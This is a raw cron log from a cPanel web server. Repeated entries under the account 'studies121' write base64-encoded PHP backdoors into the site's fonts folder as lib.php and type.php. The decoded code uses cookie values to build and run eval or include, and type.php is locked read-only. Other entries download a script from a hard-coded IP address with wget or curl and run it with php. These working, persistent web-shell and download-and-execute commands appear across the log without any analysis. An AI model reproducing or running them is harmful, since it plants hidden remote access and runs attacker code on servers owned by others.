Sep  1 06:24:01 ip-184-168-122-23 CROND[2383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:25:02 ip-184-168-122-23 CROND[2487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:25:02 ip-184-168-122-23 CROND[2488]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:25:02 ip-184-168-122-23 CROND[2490]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  1 06:25:02 ip-184-168-122-23 CROND[2491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:25:02 ip-184-168-122-23 CROND[2496]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 06:25:02 ip-184-168-122-23 CROND[2495]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:25:02 ip-184-168-122-23 CROND[2497]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 06:26:01 ip-184-168-122-23 CROND[2603]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:26:01 ip-184-168-122-23 CROND[2605]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:26:01 ip-184-168-122-23 CROND[2607]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 06:26:01 ip-184-168-122-23 CROND[2606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:26:01 ip-184-168-122-23 CROND[2609]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:27:01 ip-184-168-122-23 CROND[2820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:27:01 ip-184-168-122-23 CROND[2822]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:27:01 ip-184-168-122-23 CROND[2821]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:27:01 ip-184-168-122-23 CROND[2826]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:28:01 ip-184-168-122-23 CROND[2961]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 06:28:01 ip-184-168-122-23 CROND[2963]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:28:01 ip-184-168-122-23 CROND[2964]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:28:01 ip-184-168-122-23 CROND[2966]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:28:01 ip-184-168-122-23 CROND[2965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:29:01 ip-184-168-122-23 CROND[3051]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:29:02 ip-184-168-122-23 CROND[3053]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:29:02 ip-184-168-122-23 CROND[3054]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:29:02 ip-184-168-122-23 CROND[3055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:30:01 ip-184-168-122-23 CROND[3163]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 06:30:01 ip-184-168-122-23 CROND[3168]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 06:30:01 ip-184-168-122-23 CROND[3165]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:30:01 ip-184-168-122-23 CROND[3166]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 06:30:01 ip-184-168-122-23 CROND[3167]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 06:30:02 ip-184-168-122-23 CROND[3170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:30:02 ip-184-168-122-23 CROND[3171]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:30:02 ip-184-168-122-23 CROND[3175]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:31:01 ip-184-168-122-23 CROND[3291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:31:01 ip-184-168-122-23 CROND[3294]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:31:01 ip-184-168-122-23 CROND[3293]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:31:01 ip-184-168-122-23 CROND[3296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:31:01 ip-184-168-122-23 CROND[3295]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 06:32:01 ip-184-168-122-23 CROND[3464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:32:01 ip-184-168-122-23 CROND[3467]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 06:32:01 ip-184-168-122-23 CROND[3468]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:32:01 ip-184-168-122-23 CROND[3469]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:32:01 ip-184-168-122-23 CROND[3472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:33:01 ip-184-168-122-23 CROND[3613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:33:01 ip-184-168-122-23 CROND[3616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:33:01 ip-184-168-122-23 CROND[3615]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:33:01 ip-184-168-122-23 CROND[3618]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:34:01 ip-184-168-122-23 CROND[3724]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:34:01 ip-184-168-122-23 CROND[3725]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 06:34:01 ip-184-168-122-23 CROND[3728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:34:01 ip-184-168-122-23 CROND[3730]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:34:01 ip-184-168-122-23 CROND[3731]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:35:01 ip-184-168-122-23 CROND[3871]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 06:35:01 ip-184-168-122-23 CROND[3872]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:35:01 ip-184-168-122-23 CROND[3875]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:35:01 ip-184-168-122-23 CROND[3878]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  1 06:35:01 ip-184-168-122-23 CROND[3876]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 06:35:01 ip-184-168-122-23 CROND[3877]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 06:35:01 ip-184-168-122-23 CROND[3881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:35:01 ip-184-168-122-23 CROND[3880]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:36:01 ip-184-168-122-23 CROND[4072]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:36:01 ip-184-168-122-23 CROND[4074]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 06:36:01 ip-184-168-122-23 CROND[4077]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:36:01 ip-184-168-122-23 CROND[4076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:36:01 ip-184-168-122-23 CROND[4075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
